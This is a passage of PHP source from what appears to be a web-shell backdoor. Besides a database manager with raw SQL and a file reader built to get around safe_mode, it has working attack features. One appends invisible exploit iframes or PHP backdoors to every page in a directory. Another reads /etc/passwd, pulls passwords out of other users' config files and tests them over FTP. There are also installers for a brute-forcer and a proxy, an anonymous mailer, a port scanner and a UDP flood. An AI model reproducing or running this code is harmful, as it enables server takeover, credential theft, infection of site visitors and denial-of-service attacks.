echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_x == "dump") {
if (empty($submit)) {
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else {
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download) {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile) {
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else {
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay) {
if (!empty($sql_tbl)) {
if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2) {
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_x == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
else {
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q)) {
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field) {
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_x == "browse") {
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
$b = 0;
for($i=0;$i<$numpages;$i++) {
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++) {
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>+</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else {
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_x)) {
echo "<hr size=\"1\" noshade>";
if ($sql_x == "newdb") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_x == "serverstatus") {
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_x == "servervars") {
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "processes") {
if (!empty($kill)) {
$query = "KILL ".$kill.";";
$result = mysql_query($query, $sql_sock);
echo "<b>Process #".$kill." was killed.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb);
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock) {
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($x == 'massbrowsersploit') {
?>
<b>Mass Code Injection:</b><br><br>
Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="goahead">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.fx0.name" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'goahead') {
if (is_dir($_GET['pathtomass'])) {
$lolinject = $_GET['injectthis'];
foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo '<font color=green>'.$injectj00.' was injected<br></font>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is go
//new php backdoor
?>
<b>Mass Code Injection:</b><br><br>
Use this to add PHP to the end of every .php page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="php">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'php') {
if (is_dir($_GET['pathtomass'])) {
$lolinject = $_GET['injectthis'];
foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo '<font color=green>'.$injectj00.' was injected<br></font>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is php only
} // end if massbrowsersploit is called
if ($x == 'cpanel'){
if ($_GET['go'] == 'go'){
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath
$pass
";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}
function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[cPanel Found] '.$login.':'.$pass." Success
";
}
else ftp_quit($ftp);
}
}
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";
echo "[+] Found ".sizeof($users)." entrys in /etc/passwd
";
echo "[+] Found ".sizeof($path_to_public)." readable public_html directories
";
echo "[~] Searching for passwords in config.* files...
";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}
echo "
[+] Done
";
echo "</textarea><br>";
}else
echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'x=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
}
if ($x == 'fi'){
?>
<b>Cpanel BruteForce Script</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="fi">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'cp.php', $fi);
echo '<font color=green><b>cp.php was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/cp.php', 0775);
echo '<br />To execute, browse to the page ex: http://site.com/cp.php';
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
}
}
}
if ($x == 'phpproxy'){
?>
<b>Install PHP Based Proxy</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="phpproxy">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'proxy.php', $phpproxy);
echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/proxy.php', 0777);
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
}
}
}
if ($x == 'phptools'){
?><center><?php
//mailer
echo '<b>Mailer</b><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
<input type=text name=to value=to><br>
<input type=text name=from value=from><br>
<input type=text name=subject value=subject><br>
<input type=text name=body value=body><br>
<input type=submit name=submit value=Submit></form>';
if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) {
$headers = 'From: '.$_GET['from'];
mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers);
echo 'Email sent.';
}
//port scanner
echo '<br><b>Port Scanner</b><br>';
$start = strip_tags($_GET['start']);
$end = strip_tags($_GET['end']);
$host = strip_tags($_GET['host']);
if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
?>
<form action="?" method="get">
<input type="hidden" name="x" value="phptools">
Host:<br />
<input type="text" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" name="start" value="0"/><br />
Port end:<br />
<input type="text" name="end" value="5000"/><br />
<input type="submit" value="Scan Ports" />
</form>
<?php
}
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second
";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="x" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="x" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<input type=submit value=Go></form>';
}
?></center><?php
}
if ($x == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
else {
echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
